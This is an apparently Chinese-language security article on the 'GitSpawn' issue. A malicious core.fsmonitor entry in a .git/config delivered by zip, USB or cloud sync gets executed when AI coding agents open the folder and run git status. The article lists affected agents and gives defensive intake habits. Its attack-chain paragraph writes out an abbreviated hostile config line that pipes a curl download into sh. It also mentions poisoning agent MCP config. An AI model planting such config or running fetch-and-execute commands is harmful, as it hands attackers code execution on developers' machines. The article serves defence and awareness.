GitSpawn 为什么 git clone 安全 但 zip 解压危险

Manifold GitSpawn 研究强调:恶意 core.fsmonitor 需仓库带着完整 .git 目录到达受害者,git clone 不会导入源仓库本地 config,但 zip、U 盘、网盘同步会。本文写清攻击链与 intake 习惯。

GitSpawn 为什么 git clone 安全 但 zip 解压危险

2026 年 9 月,The Hacker News 与 Manifold Security 再次把 GitSpawn 推上头条:七款 AI 编程 Agent 中仍有四条路径未完全修补。很多人第一反应是「别乱 clone GitHub」。但 Manifold 与 CSA 都写明:普通 git clone 通常不会把攻击者仓库里的本地 .git/config 原样搬过来;真正危险的是 zip/tar、U 盘、网盘整包同步等「带着完整 .git 目录」的交付方式。

作者CodePass 技术编辑

git clone 与「整包 .git」差在哪

git clone 从 remote 拉对象,在本地生成新的 config,remote 上的 core.fsmonitor 恶意条目一般不在 clone 结果里(除非你用 git clone --local 复制已有目录)。

GitSpawn 典型链:攻击者发 project-backup.zip,内含 .git/config 里写了 core.fsmonitor = curl … | sh。你用 Cursor / Claude Code / Codex 打开解压后的文件夹,Agent 启动时跑 git status,Git 在 workspace-trust 之前就可能执行 fsmonitor helper。

这和 Windows 根目录 git.exe 是不同向量:一个是 config 键,一个是二进制 planting;都要把「打开不可信文件夹」当高危操作。

谁已修、谁仍暴露(2026-09-17 媒体汇总)

总览见 GitSpawn 劫持总览。The Hacker News 9 月 17 日稿补充的版本线:

Claude Code core.fsmonitor:≥ 2.1.196 已修。

Codex CLI:≥ 0.131.0(CVE-2026-19592);Desktop 见 OpenAI/Mallory 版本表。

Cursor:Manifold 称已修补(7 月 duplicate report)。

仍开放:Claude Code ultrareview 路径、Hermes Agent、Qwen Code、Grok Build(THN 2026-09-17 汇总)。

四条 intake 习惯(比「不 clone」更准)

  1. 客户/猎头/竞赛发来的 zip:先 unzip -l 看有没有 .git/config,或用 git config --local --list 在隔离 VM 里读,再进 Agent。

  2. 禁止 Agent 直接打开 Downloads 里未检 zip 解压目录。

  3. CI 里跑 Agent 的 job:镜像 pin 版本 + 只 clone 不用预置 .git artifact。

  4. 团队规范:只接受 Git remote URL,不接受「整个 repo 文件夹」传文件。

完整 checklist 见 GitSpawn 总览文的「你的 Cursor 和 Claude Code 需要做什么」一节。

和 supply chain 论文的关系

arXiv「Scanning the Harness」关注 MCP/skill 配置供应链;GitSpawn 是 Git 层 supply chain。两者叠加:恶意 repo 可同时 poison .git/config.cursor/mcp.json,见 Harness 配置缺陷研究

参考资料